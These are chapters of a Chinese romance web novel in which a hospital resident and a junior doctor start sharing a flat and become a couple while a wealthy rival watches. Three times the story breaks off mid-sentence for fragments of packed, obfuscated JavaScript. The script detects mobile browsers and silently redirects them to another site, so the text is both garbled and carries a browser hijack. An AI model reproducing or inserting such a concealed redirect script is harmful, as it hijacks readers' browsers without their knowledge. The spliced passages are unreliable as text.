可惜时间不凑巧,崔晚晚周六下午有个大客户要找她修改珠宝定制的方案。崔晚晚有自己的职业追求,男人重要,事业也重要。于是她忍痛割舍了本次行动方案,把手上两张票都给了宋远,嘴上说着让他带朋友一起去看,转头就叮嘱江明月,帮她看看宋远带来的“朋友”是男是女。 其实宋远的社交圈很窄,主要集中在学校和医院两个地方。他又不是海城本地人,在这儿也没有亲戚朋友。拿到演出票之后,他自然而然地分给了在一起实习的沈归时,顺便分析了一番:“这个票是江师姐那个朋友送的,肯定是江师姐不好意思直接送给我,所以才委托她朋友转赠。没想到啊,虽然这段时间江师姐没有来找我,但心里还是对我念念不忘。对了沈哥,马上要出科理论考了,有没有什么一定要背的重点,指导一下?” 沈归时极其冷漠地回了两个字:“没有。” 到了周六下午,宋远和沈归时抵达演出剧院。落座后没多久,沈归时的右手边多出了一个人。他随意扫了眼,眸光不由顿住。 是林逸。 两人冷淡对视。 22. 同居 江明月从剧院侧门进来,迎面看见第一排中央从左往右,依次坐着林逸、沈归时、宋远三人。 看见林逸她并不意外。毕竟票是他送的,他出现在同一排观众席也很正常。而沈归时多半是宋远带来的。 江明月按座位号在宋远左手边坐下,低头给崔晚晚发消息。 【江明月:男的。】 【崔晚晚:那就好。】 【崔晚晚:看来他身边也没个女的,那我就放心冲了!】 【江明月:想好了?】 【崔晚晚:当然!要勇敢,要大胆,不要给人生留遗憾!】 【江明月:你还挺押韵。】 - 宋远的右胳膊忽然被撞了一下,他往右侧看去,沈归时微微低着头,压低声音跟他说:“我们换个位置。” 宋远不明所以:“为什么?” 沈归时声线低沉得很,冒着丝丝冷气,仿佛浸在了寒冬腊月的冰川里:“你换不换?” 宋远立马起身:“没说不换啊。” 其实宋远隐隐能感觉到沈归时最近对他的态度冷漠了许多。具体表现为,带教提问时,无视他求救的眼神;出科理论考试前,不再帮忙划重点。还有昨天早上,他起晚了来不及买早饭,想让沈归时帮忙带一份,结果惨遭沈归时拒绝。 他就说那他不吃了,饿一顿也没啥,然后沈归时给他转了一篇论文:研究表明,不吃早饭的人罹患2型糖尿病风险增加。 不帮他带早饭就算了,还要恐吓他。 不过宋远也没当回事。毕竟快要申请毕业了嘛,大家压力都大,情绪不稳定他能理解。 宋远和沈归时互换了位置。 林逸看着沈归时换到了江明月旁边,微微眯起了眼睛。 沈归时的身体微微偏向江明月那侧,一本正经地问:“师姐,你们那个实验室缺人吗?需要我帮忙吗?” 江明月听得一怔:“你现在在别的科室干得好好的,来我们生殖帮忙不合适吧?” 卷王也不是你这个卷法啊。 沈归时轻声解释:“我昨天收到了这几个月的兼职收入,两万块钱。我知道这个钱不少,肯定是看在师姐的面子上给的,要是不帮师姐做点什么,我心里过意不去。” 江明月想说,你这么想帮我做事,那就帮忙做我男朋友好了。理智控制之下,终究没说出口。 现在又没喝醉,被拒了都不知道找什么借口。 “你别多想,你毕竟付出劳动了,报酬不论多少,都是你应得的。” “那我请师姐吃顿饭吧。” “不用……现在外面餐厅都不便宜。” 能给他省下一点是一点。 “我自己做饭,花不了多少钱的。”沈归时诚意满满,眸光真挚,“师姐愿意来尝尝我的手艺吗?” 江明月偏头看他,就这么对上了他的眼睛。 演奏厅的灯光真璀璨啊,尽数倒映在他的眼底。 安静片刻后,江明月缓缓点头:“好。” 演出开场。 乐团指挥的表现能力一流,即便背对着观众,江明月也能从他那激情洋溢的动作之间,感受到他昂扬热烈的情绪。 她看了一会儿,渐渐出了神,脑子里反反复复地晃荡着崔晚晚那句话。 ——要勇敢,要大胆,不要给人生留遗憾。 - 演出结束后,宋远大大方方地问江明月:“江师姐,你回去经过附院吗?能不能顺路载我和沈哥一程?刚刚带教临时通知,让我们回去跟手术。” 林逸刚好走过来,听见这一句。 她师弟可真多啊。 江明月说:“可以啊,正好我去趟实验室。” 她朝林逸点了下头,算是打过招呼。想到演出票是林逸赠给母亲的,所以特意解释道:“今天时间不巧,我爸妈正好出去旅游了,没能一起来。” 林逸道:“是我安排不周。” 他姿态很谦和,江明月当然不可能附和他,仅仅客套一笑:“哪里,应该怪我们没有事先告诉你。” 面子话她也很会讲的。 散场了,人群都在往出口方向挤。一名工作人员小跑过来,四指并拢指向空无一人的贵宾通道:“林先生,这边请。” 林逸叫住已经转身的江明月:“江小姐,走这边吧。” 江明月刚要点头,便听沈归时说:“师姐,我去外面自动售货机上买瓶水。” 自动售货机在普通出口外面。 江明月便朝林逸挥了挥手:“林先生你先走,我们还要去买水。” 林逸的目光在沈归时身上淡淡扫过。望向江明月时,唇边又勾出淡笑,温文尔雅地颔首。 - 江明月回实验室测试仪器,一直待到了晚上七点,忙完了之后才觉得饥肠辘辘。 她问还在忙活的师妹赵彤:“有什么吃的吗?” 赵彤是海大医学院的在读硕士。郑观海让她来实验室帮忙,给江明月打打下手。 赵彤从柜子里翻出一桶泡面:“泡面行吗?” 江明月本想说算了,她回家吃,转瞬就想到父母现在正在希腊潇洒游玩,司机老杨也放了假,家里现在一个人都没有。 “行吧。” 现在有什么就吃什么吧。 赵彤说:“我烧水去。” 这时,江明月的手机响了。她看了眼来电显示:“小沈?” “师姐,你还在实验室吗?” “嗯。” “我这儿手术刚结束,我现在去买菜,你想吃什么?” 江明月微微扬声“啊”了一句。 沈归时理所当然地问:“不是答应了来尝尝我的手艺吗?” 江明月都有些结巴了:“今……今天吗?” 沈归时迟疑问道:“你不方便吗?” “方便。”江明月镇定下来,“随便吃点就行,我不挑食。” 电话挂断,江明月喊住去烧水的赵彤:“不用烧水了。我一会儿就走。” 医院附近的生鲜超市内,沈归时拿起一盒密封包装的洋葱,看了眼又放下。 想起刚刚她那句“我不挑食”,他心底冒出无奈的笑意。 她还不挑食?之前看她吃干炒牛河,能把每一根洋葱丝都挑得干干净净。 - 江明月没在实验室待多久。 海城名邸离得很近,她直接步行过去了。 她从来没用过的厨房,此刻堆着各种食材。油烟机开着最大风量,锅里也不知道在煮什么,滋滋冒着热气。 江明月将厨房的推拉门拉开一条缝,探头问道:“需要帮忙吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640858|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈归时问:“你会做饭?” “不会。”江明月想了想,又换了个更严谨也更委婉的说辞,“但我可以把食物……弄熟。” 她说着,侧身走了进去。像刚进科室的规培生,主动找一些边角料的活儿干。 沈归时看着她拿了个水果刀给番茄削皮。那只番茄比较软,刀削下去,番茄肉就跟着皮一起下来了。 沈归时沉默片刻,终于忍不住问:“想去皮是吧?” “嗯,不喜欢吃带皮的植物。” 沈归时神态自然:“挺好,不挑食。” 江明月:“……” 她从小就不吃植物的皮,小时候吃蚕豆,嘴里磨了一圈,把蚕豆皮吐了出来。江峰便笑着说她有小姐命。后来家里生意渐渐有了起色,真的就拿她当千金小姐宠着养大。 沈归时给她展示了一下番茄去皮的正确方式。用刀在番茄上划十字,开水浇上去。等了一会儿,轻轻松松手撕去皮。 江明月思忖数秒,礼貌地退出厨房:“你忙,我就不在这儿影响你发挥了。” 也没等多久,饭菜就端上了餐桌。 很简单的家常菜。番茄炒蛋,盐水虾,凉拌黄瓜,菌菇豆腐汤。一盘切好的西瓜和菠萝。 摆盘很好看。 黄瓜还是去了皮的。 也不知是不是江明月对沈归时这个人有滤镜,也可能只是太饿了,反正她觉得这顿饭清淡又爽口,比她近来钟爱的外送小餐馆还要好吃很多。 好吃到她不想走。 她在心里琢磨了一遍话术,进行了一系列铺垫:“我爸妈出去旅游了,这段时间没人管我伙食,刚刚你打电话之前,我都打算吃泡面了。那个……虾挺新鲜,有多的吗?我打包带走,省得明天点外卖了。” 沈归时说:“没有多的了。要不然……师姐你明天再来吃?” “好。”江明月等的就是这句话,“那我这几天就住这儿不走了。” 看见沈归时意外的神色,江明月开始疯狂找借口:“家里现在就我一个人,回去也没什么意思。正好这里离实验室还挺近的,穿过一条巷子就到,上下班也方便。等我爸妈旅游回来我就搬走,这段时间就蹭你几顿饭,你看行吗?” “行。”沈归时帮她找了一条更合适的理由,“房子本来就是你的,你想住多久住多久。” 江明月这么一想,更加心安理得了。对啊,房子都是她的,她来小住几天,非常合理。 - 两人随后约定了彼此在这套房子的活动区域。 主卧是个大套间,带卫生间和衣帽间,归江明月使用。 客卧、客卫,还有一个朝北的储藏室,归沈归时使用。 其余区域,诸如客餐厅、书房、影音室,均为公共区域,两人共用。 两人互不侵扰地度过了一周,基本只在吃饭的时候碰面。 沈归时给江明月做了一礼拜饭菜,基本上摸清了她所有的忌口。 她口味偏清淡,喜欢食物本身的味道,喜欢鱼虾和蔬菜,不爱重口味的佐料。 因为江明月要忙实验室的事,所以沈归时一般比她下班早,他会提前把饭菜准备好等她回来一起吃。 江明月每天回来看到热气腾腾、合乎口味的饭菜,满脑子都在盘算怎么顺理成章地把这饭一直吃下去。 23. 男朋友 又是一个周六。 江明月值班结束,顺路去实验室看了一眼。经过了将近两个月的努力,实验室的各种设施已经基本完善,实验鼠也订购了一批,很快就能开展实验了。 因为是周末,那几个来帮忙的师弟师妹今天都没过来。实验室密不透风,闷热得很,江明月把空调开了。 很快,她就发现空调的控制面板不太对劲。不管她按哪个键,空调始终是最强风,16度。 没一会儿,整个实验室就变得冷飕飕的。 江明月打电话给赵彤问怎么回事。赵彤也不知道,说前两天还好用的。 江明月记下了这回事,打算下礼拜找人来修一下。 现在按墙上的控制面板没反应,想关空调只能拉闸。江明月受不了这个低温,去配电间拉下了电闸,准备走的时候,发现防盗门紧锁,把手怎么转都打不开来。 江明月心想,不至于吧,当初接手这个场地,只有空调和防盗门不用另外购置,结果这两样都坏了?! 这个场地原来是一家银行,那个防盗门也是那种银行专用的防尾随联动门。江明月研究了一会儿,没找到开门的窍门,好在门上贴着一个金属铭牌,上面写了售后服务电话。 江明月拨了电话过去,等了好长一段语音提示,终于找到了人工客服,把目前的情况说了一遍。 客服说:“女士,请问您现在送电了吗?我们这款防盗门安全系数很高,断电之后会自动锁死,直到恢复通电才能打开来呢。” “这样啊,我现在就去把电闸推上去。” “好的呢,女士,那我这边就先挂断了哦,祝您生活愉快,再见。” “等一下!”江明月及时制止了对方结束通话的举动,“现在通电了,为什么这个门还是打不开来?” “抱歉女士,断电之后防盗门会恢复出厂设置,需要刷卡才能开门呢。” “刷什么卡?” 电闸推上去了,那个16度的空调也自动开启了,空调的冷风就对着江明月吹,她刚刚因为捣鼓门锁出了一身的汗,现在被冷空调一吹,脊背都有些发凉。 “就是我们安装门的时候会附赠一张感应卡,您找一下呢。” “如果没有这种卡,还有什么方法可以开门?” 江明月接手这个地方的时候,只拿到一把防盗门的钥匙。 客服仿佛一个念话术的机器人:“我们的防盗门是非常安全的,恢复出厂设置之后是需要刷卡的呢。” “你说的这个我已经知道了,我想知道还有别的办法可以开门吗?” “女士,我们会安排工程师尽快上门处理的。请您留一下手机号码,等工作日会有专人联系您。” 江明月顿感不妙:“等工作日?具体是哪一天?” “女士,帮您查阅了一下,最早下个月中旬会有工程师联系您。” 江明月难得气笑了:“是这样,这个地方原来是个小银行,只有门,没有窗户。我现在因为门打不开困在室内。现在距离下个月中旬,还有十几天。如果你们一定要等到下月中旬才有人过来处理,可能只能来处理我的尸体。” 而且是一具被16度空调冻得冰凉的尸体。 客服安静了一会儿,才说:“您稍等,我再帮您查阅一下……对不起,我们的工单已经约满了,最早只能安排下个月15号上门维修,您看可以吗?” 这和下个月中旬有区别吗? “我看不可以。”江明月也不想再多说了,直接挂了电话。 随后就联系给郑观海,问他有没有那张所谓的感应卡。 郑观海表示没见过。不过针对江明月目前的遭遇,他给出了一个非常可行的方案:“小江,房顶的隔板你看到了吗?上面是通风管道,你可以试试从那里爬出去。” 江明月往头顶天花板看了眼。距离大约三米多。 “主任,实验室没梯子啊,我怎么上去?” 郑观海说:“哎,我刚跟你开玩笑的,你别真爬啊。你别着急,我马上安排人来拆门。这破门咱不要了,换新的。” 江明月总算放下心来。 等了片刻,等到了沈归时的电话,问她什么时候回去吃饭。 “恐怕……得有一会儿。” 江明月把此刻境遇大致说了一遍。 手机听筒里传来海城名邸智能呼叫电梯的提示音,她下意识地问:“你要过来?” 沈归时说:“对,我来看看。” 几分钟后,沈归时来到实验室门外。 电话还没挂。他大概是一路跑过来的,江明月听见了他因为奔跑而加重的呼吸声。 沈归时低头翻了一会儿手机,问道:“师姐,你里面的门上有没有一个密码键盘?” 江明月抬头一看:“有的。” 沈归时字句清晰:“我在网上查到了类似的防盗门的说明书,虽然门不是同一个型号,但厂商是同一家。上面有个管理员密码,我截图发你了,你按了试试有没有用。” 江明月吸了吸鼻子。她被冷空调吹得鼻涕直流,头也有点疼。她晃了晃头,找到沈归时发来的截图,照着上面一长串字符按下密码。 门“滴”了一声,密码键盘窄小的屏幕上出现了四个字。 【解锁成功】 江明月眼睛一亮:“小沈,好像有用!” 她连忙找钥匙开门。锁芯很顺畅地一转,门开了。 不过这是防尾随的联动门,总共有两道门。现在她只是打开了内门,还有一扇外门。 “外门没有按密码的地方。”江明月仔仔细细看了个遍,也没找到第二道门的密码键盘在哪儿。 “有的,在我这儿。”沈归时抬手在外侧的密码键盘上按下密码。 两人此刻隔着一道紧闭的门,只能依靠手机沟通。但江明月知道,他就在一门之隔的地方。 通话由始至终都没挂断,她很安心。 很快,外门同样“滴”的一响。 江明月用钥匙打开第二道门。室外的热浪扑面而来。江明月整个人都被16度空调吹得冰冰凉,这一刻倒不觉得闷热,只觉得温暖。那柔缓的暖意由表及里,随着呼吸涌入心头。 天际朗月高悬,清辉遍地。 斯文挺拔的年轻男人垂眸看她:“走吧,回去吃饭。” 回去的路上,江明月一边打喷嚏,一边给郑观海打电话,让他不用派人来拆门了,她已经顺利出来了。不过门最好还是换了,空调也得修。 郑观海十分赞成。还说后面要再拆墙改个窗子,实验室不能只有门这一个出口,万一着火了,不方便逃生。 晚餐后,江明月渐渐觉得身体乏力发冷。她摸了摸自己额头,好像有点烫。 她揉着头去倒水喝。沈归时正在清理厨房,见她脸色不好,便问她是不是哪里不舒服。 江明月说:“头疼,可能发烧了。” 沈归时停下手上的事,下意识地将手掌覆上江明月的额头。 确实温度很高。具体多少度,还得量一下。 “有体温计吗?” “没有……”江明月以前几乎不住海城名邸,别说体温计了,这里连常用药都找不到一粒。 沈归时说:“我去买。你先躺下休息一会儿。” 江明月洁癖作祟,愣是拖着病体冲了个澡,换了身干干净净的睡衣才躺下。 沈归时回来得很快,体温表和退烧药都买了。江明月烧得迷迷糊糊的,看见他拿来一根水银体温表,拖长声音,对自己做口型:“啊——” 江明月蹙着眉摇头:“不要放舌下,不习惯。” “腋下?” “腋下。” 沈归时把体温表递到她手里:“你自己放。” 江明月听话照做。 过了一会儿,沈归时说:“时间到了。” 江明月没动静。沈归时看了两眼,发现她歪着头,已经昏睡过去了。 沈归时迟疑数秒,还是伸手过去,经从她的睡衣领口,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640859|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心翼翼帮她把体温计取出来了。 39.5度。 “师姐,醒醒。”他轻轻晃她的肩膀,“吃了药再睡。” 江明月被他晃得半梦半醒,昏昏沉沉地问:“几点了?要上班了吗?” “十点了,你现在高烧,需要降温。” 沈归时干脆扶着她坐了起来,在她身后放了个支撑的靠枕,胶囊和温水一起端给了她。 坐起来之后,江明月恢复了一些神智:“这什么药?” “布洛芬。” “我体温多少?” “39度多。” 哦,确实该吃药。江明月灌了一大口温水,送服胶囊。 沈归时问:“怎么烧这么厉害?” 江明月又躺了下去,闭上眼,轻声嘟囔:“实验室空调坏了……16度的冷风,吹了我一个多小时……” 她头疼得要命,说着说着,又逐渐昏睡过去了。 沈归时去冰箱保鲜层取出片刻前放进去的湿毛巾,反复擦拭着江明月的脸庞、耳后和脖颈。毛巾冰凉而柔软,睡梦中的江明月似乎觉得很舒适,连呼吸都平缓了许多。 半夜,江明月醒过来了。 房间里只开着一盏台灯。沈归时在她床前,刚刚把她额头上已经捂热的湿毛巾换下来。 看见她微微睁开的眼眸,沈归时动作一顿:“吵醒你了?” 江明月摇头:“我想喝水。” 沈归时倒了杯温水过来。 江明月撑着床,想坐起来,发现全身一点力气都没有。 “扶我一把。” 沈归时一手撑着她的后背扶着她半坐起来,另一手直接将杯沿递到了她的唇边。 江明月就着这个姿势喝了半杯水。沈归时把杯子放到床头柜上,转而伸手去试她额头上的温度。 “好像降下来了一些,再量个体温看看?” 他的手心温度不高,按在她额头上的那一刻,冰凉舒适。江明月抬起手,抓住了额前那个手掌。 她的体温传导到他手上,他的手逐渐变得跟她的一样烫,一路烫到了江明月的心尖。 “量一下吧,我去拿体温表。” 沈归时正要把手抽出来,江明月也不知道自己哪儿来的力气,用力握紧了那只手。 “沈归时,”她知道自己应该徐徐图之,不要冲动,但她就是忍不住想问,“做我男朋友好吗?” “好。” 沈归时答应得太快了,快到江明月都怀疑自己听错了。 “你听清我刚刚说什么了吗?” “嗯。” “那你答应得这么快?你不需要考虑一下吗?” “我怕你反悔。” “不会反悔!” 江明月想说她已经深思熟虑很久了,话说出口,却变成了:“我已经盯上你很久了。” 一定是高烧把她的脑子烧坏掉了…… 江明月气得想咬舌头,慌乱又心虚地解释:“我的意思是,我已经考虑很久了,不是一时冲动……我很好相处的,你就跟我试试……” 她说到这儿,猛然想起沈归时已经答应她了,她懊恼自己说得太多,轻轻抿上了唇。 但有一件事,她还想再确认一下。 江明月松开沈归时的手。那只手被她用力握了好久,手背肌肤上都印着浅淡的指痕。 她眼眸轻抬,认真又郑重地望了过去:“沈归时,我希望你是因为对我有好感,才答应我的。而不是因为借住在我家,为了报答我,或者担心我赶你走,才答应我。不管你的答案是什么,这个房子你都可以继续住下去。现在我再问你一遍,你想好了再回答。” 她停顿数秒,一双眼眸是干净的、透彻的、温柔的:“你愿意当我的男朋友吗?” 沈归时莞尔:“荣幸之至。” 江明月似乎轻轻吐出了一口气,又追问道:“你喜欢我吗?” 沈归时放缓了语速,唇齿间的字句清晰动听:“喜欢,非常喜欢。” 24. 爱意正浓 床头柜上的台灯散发出轻柔的光线。花瓣形状的灯罩在卧室的刺绣墙布上投下一道起伏的阴影,如同少女雀跃的裙摆。 江明月将沈归时拉近了一点,正色要求:“那抱一下。” 沈归时微愣。 江明月轻轻扯他的衣服:“抱一下嘛。” 沈归时俯身下去,同她相拥。 他身上的温度低,江明月感觉自己像是抱住了一块沁凉的冰块。她心满意足地叹了口气,脸颊伏在沈归时的肩膀上。 她只穿了单薄的夏季睡衣,沈归时从正面环住了她,两手交叠并拢,扣在她身后,贴在肩胛骨附近,没有去触碰那些动人的曲线。 两人就这样安静地抱着彼此。片刻之后,沈归时先抽身出来,去拿体温表。 “再量一下。你身上还很烫。” 江明月伸手接过体温表,又量了一次体温。 38度。 降了点,但还没有完全退热。 才吃了药没多久,现在也不能再吃。 沈归时垂眸看体温表上的刻度:“师姐,你先睡吧。睡眠不足也不利于恢复。” 江明月听话地躺回去,闭眼睡觉。 迷迷糊糊间,她察觉到微凉的毛巾敷在了自己的额头上。 她很安心。睡意渐深。 - 也不知道是退烧药的药效,还是冷毛巾物理降温起了作用,第二天一早,江明月的体温就恢复了正常。 只不过人还有些昏沉沉的。 沈归时过来看她,说他煮了粥,问她要不要吃点。 江明月还没睡够,闭着眼睛摇头。 今天上午科里还要开例会,她都请了假没去,只想补觉。 床头柜上,手机振动。江明月撑着眼皮瞟了一眼。 是个陌生号码。 她跟沈归时说:“帮我接一下,实验室买了一批小白鼠,可能是送货的人打来的……你让他下午再送。” 她交代完,翻了个身,继续睡了。 沈归时怕影响她睡觉,特意走到房间外,轻轻带上门以后,才接通电话:“你好。” 对方安静片刻,问:“江小姐在吗?” 一个年轻男人的声音。有些耳熟,但沈归时一时想不起来是谁。 “她身体不太舒服,现在不方便接电话。请问你哪位?找她什么事?我可以代为转达。” 对方反问道:“她怎么了?哪里不舒服?” 沈归时隐隐辨认出这是林逸的音色:“林先生?” 对方的声线陡然锐利:“你是谁?” 沈归时轻轻扬起唇角:“江明月男朋友。” 空气沉寂了片刻。林逸问:“她什么时候有男朋友了?” 沈归时颇为耐心地答疑解惑:“今天,凌晨一点。” 又是一阵静默。林逸说:“让她接电话。” “她还在睡。你有什么事直接跟我说吧,我一定传达到位。” 林逸声音淡淡,听不出情绪:“那请你帮我转告她——晚上见。如有需要,我让司机来接她。” - 江明月将近中午才醒过来。 退热后一身都是汗,睡衣半湿,挂在身上难受。她又去洗了个澡,总算觉得神清气爽。 她吹头发的时候,沈归时把手机递还给她。江明月关了吹风机,问:“那个送小白鼠的上午打我电话了吗?” “没有。” 江明月的手按在吹风机开关上,正打算继续吹头发,又听沈归时说:“上午林逸给你打过电话。” “嗯?” 沈归时不动声色地探问:“你今天晚上跟他有约吗?” 江明月随口答道:“哦,今晚是他弟弟的百日宴,他之前给我送了请柬。” “你要去吗?” “嗯,得去还个人情,礼物都买好了。” 江明月本来只买了一个纯金的长命锁,单从价值而言,已经远超了那三张民乐团演出票。前两天和旅行途中的父母视频聊天,说起了这回事,江峰直接给她打了一笔钱,让她再添点。 江峰当时是这么说的:“之前林逸为了我那个新厂区的审批,动用了他自己的关系,我们正好趁这个机会给他们家多送点东西,就算把这个人情还掉了,以后也不欠他什么。” 于是江明月又抽空去商场挑了一件金如意。另外还准备了一个现金红包。 沈归时抿起了唇,又说:“林逸问你需不需要司机来接。” “不用,又不远,我自己开车去。再说了,我打算露个面就走,到时候提前那么久退场,还要麻烦人家司机送回来,多不合适。” 原来她不打算久留。 沈归时绷紧的神色一点点松懈下来。 - 江明月下午换了条裙子,准备去赴宴。她化了淡妆,临出门前,拉开玄关处的穿衣镜瞧了眼,发现唇色有些淡,便补了一层口红。 镜子里映出沈归时的身影。 江明月回头看他,一边将口红膏体旋回去,一边问:“好看吗?” 她的妆容很淡,干净清透,看上去跟平时没什么区别。唯唇色红润明丽,衬得她姝色动人。 “好看。”沈归时如实评价。 他望过来的目光专注得很,说出口的话也真诚得要命,不带任何敷衍和夸饰。 江明月含着浅笑,推门往外走。 “师姐,”沈归时在身后喊她,“我们现在是男女朋友了吗?” 江明月停住脚步:“怎么这么问?” “感觉像在做梦。” 江明月转身过来,走到沈归时面前,仅仅牵住他一根手指,仰面道:“你人弯下来一点。” “怎么了?” 江明月净身高将近一米七,她感觉沈归时大概比她高二十厘米。 “再往下一点。” 沈归时听话照做。江明月就趁这个时候,两手攀着他的肩,轻轻啄了下他的唇。 一触即离。 江明月问:“梦里有这个吗?” 沈归时:“……” 江明月本来觉得这是情侣间很正常的一个举动,下意识便这么做了。但她很快发现,眼前人的耳根子都红了,她也莫名有点脸热。 她松开他的肩膀,眼神乱飞:“那个……我先走了。” 沈归时轻轻地抿唇,很难说是在克制还是在回味。 他问:“几点回来?” “很快!” 江明月明显感觉自己脸颊发烫,她推门出去,疯狂按电梯。 玄关只剩下沈归时一个人。他上前两步走到镜前,发现唇上沾了一点点她的口红,仿佛爱意正浓的勋章。 - 林家喜添公子虽不是什么秘密,但今天的百日宴是第一次正式向外界宣告。宴会地点位于市中心临江的一处私家会馆。阵仗十分盛大,还请了几名专业摄影师全程拍摄。 六点还不到,天还亮得很。林逸坐在二楼露台吹风,远远看见一辆银色SUV驶入会馆地面停车场。 车牌尾号77,他记得是江明月的车。 那辆SUV很快找到了车位,十分顺滑地倒车入库后,一袭长裙的江明月从车上下来。 裙子是淡蓝色的,方领无袖,剪裁得当,将她勾勒得分外窈窕。林逸的视线定在她身上,直到她步入会馆的大门。 身边手机振动。 林逸接通。贺冰几十年如一日吊儿郎当的声音传了过来:“前几天弄到了两瓶路易十三天蕴,怎么样,今天带来跟你一起品鉴品鉴?” 林逸没接话。贺冰自顾自地往下说:“我这儿还有不少好酒,都没开封,你还想喝点什么?我一并带来。” 林逸想起了上午那通并非本人接听的电话。 “帮我带一条领带。”他揉了揉眉心,不想细究自己难辨的心绪,“淡蓝色。” - 贺冰就住在附近,来得很快,到了以后没在宴会大厅停留,而是提着酒,直奔二楼休息室找林逸。 一同进来的还有当初海外留学时认识的好友方修远,医学博士,比贺冰和林逸年长几岁,毕业后一直留在美国当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640860|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医生。 后来女朋友实在受不了异国恋,提出分手,方修远立刻辞职回国,后来去了海大附院的骨科,聘了副高。 林逸见到方修远,第一句话就是:“你们医院工作忙吗?” “忙啊。”方修远拖了张椅子坐下,“干嘛啊,突然这么关心我。” “林逸你别操心他,他为爱回国,再忙也甘之如饴。”贺冰把酒摆上桌子,推着桌上的黑胡桃木转盘,自得地显摆,“来来来,看一看啊,路易十三天蕴,请二位鉴赏。” “为爱回国怎么了?”方修远压根儿不理会贺冰的调侃,相反还很得意洋洋,“虽然现在的工作量是以前的十倍,收入是以前的十分之一,但我有老婆了,你们有吗?” 贺冰一拍桌子:“怎么说话呢你!是不是在点林逸?” 贺冰是圈子里有名的花花公子,身边就没断过女人。林逸恰恰相反,是出了名的工作狂人,人品端正,洁身自好。方修远这番话,显然对林逸的伤害更大一点。 “抱歉啊,都怪我一时失言。”方修远看上去十分忏悔,伸手去够桌上那瓶洋酒,“我先干一杯,给小林总赔个不是。” “想得美!”贺冰一掌拍开方修远拿酒的手,“还有,叫什么小林总,不礼貌!现在人家大权在握,叫林总!” 方修远从善如流:“行,林总,我先给您倒一杯。” 贺冰说:“林逸你想要什么样的女人啊?我现在投资了一个娱乐公司,各种类型的女艺人都有,你说要求,我保证帮你物色一个合适的。” 林逸想了一会儿,吐出两个字:“干净。” 贺冰给了个心领神会的眼神:“我懂,送到你面前的肯定干净。” 林逸扫了他一眼:“不是你想的那种干净。” “啊?” “是气质干净……还很温柔。” 贺冰似懂非懂地点头:“还有呢?” “漂亮。”林逸停顿两秒,补充,“非常漂亮。” 贺冰翻出手机备忘录:“等等啊,我记一下。你接着说。” “是个医生。” “啊?医生?对不起,这方面我没有资源,你不如找方哥帮你留意一下。” 贺冰把手机递给方修远。方修远瞟了一眼,就见备忘录上记着三行字—— 【温柔】 【漂亮】 【医生】 方修远连连摆手:“你这要求太高了,我们医院肯定没有。” 林逸漫不经心:“你怎么知道没有。” 他语气很淡,并无疑惑,更像一句理性而平静的反问。 方修远说:“我院科研压力大,大家焦虑得头都要秃了。漂亮?不可能的!” 其余两人不约而同地看向方修远的发顶,果然有些稀疏。 贺冰说:“方大夫,你不能以己度人啊。你秃了是因为你有秃子基因,不代表别人也会秃。” 方修远:“……” “是吧林逸?”贺冰笑着点上了一支烟,寻求着林逸的认可。 林逸用眼神指了指休息室外的露台:“要抽烟出去抽。” “怎么了?”贺冰叼着烟,没明白林逸什么意思,本能地递上烟盒,“你也来一根?” “我早戒了。”林逸淡声道,“你去外面抽,别把烟味弄我身上。” “出去就出去。”贺冰不以为意地起身,吐出一口烟雾,推开休息室与露台之间的移门。 “等等。”林逸再次出声,“我让你带的东西呢?” 贺冰怔了怔,后知后觉地从口袋里掏出一个盒子,扔给林逸。 林逸打开盒子,里面是一条浅蓝色领带。他慢条斯理地给自己系上领带,修长的手指调整着领带结的高度。 “你闻闻,我身上有烟味吗?”林逸侧首问一旁的方修远。 方修远摇头:“没有啊。” 林逸说:“那行,我下楼见个人。” 方修远忙问:“见谁啊?酒还没喝呢!” 林逸人都走出休息室大门了,扔下一句:“你们先喝。” 25. 低调一点 江明月把请柬交给会所门口的服务生,服务生礼貌地把她领到了一楼内场宴会大厅。 大厅内已经聚集了不少人。江明月很快找到了被众人围在中央的张太太,她上前打了个招呼,送上一个礼袋,里面是她准备好的贺礼和红包。 张太太拉着她,走到旁边安静的地方,推辞道:“江医生,你能来我就很高兴了。我儿子能出生还得感谢你呢,这礼物我不能收,你带回去。” 江明月也不扭捏,顺势道明来意:“前段时间,林逸——林先生和我家里长辈有些生意上的往来,这些礼物都是长辈特意叮嘱我送来的,如果你们不收,我回去也不好交差。” 张太太当然知道江明月是林逸亲自邀请来的,闻言也未多问,客套了几句便收下礼袋。随即又向周围几个关系亲密的贵妇介绍江明月:“这位是附院生殖科的江医生,这次我顺利怀孕还多亏了她。你们有生育需求的也可以找她。” 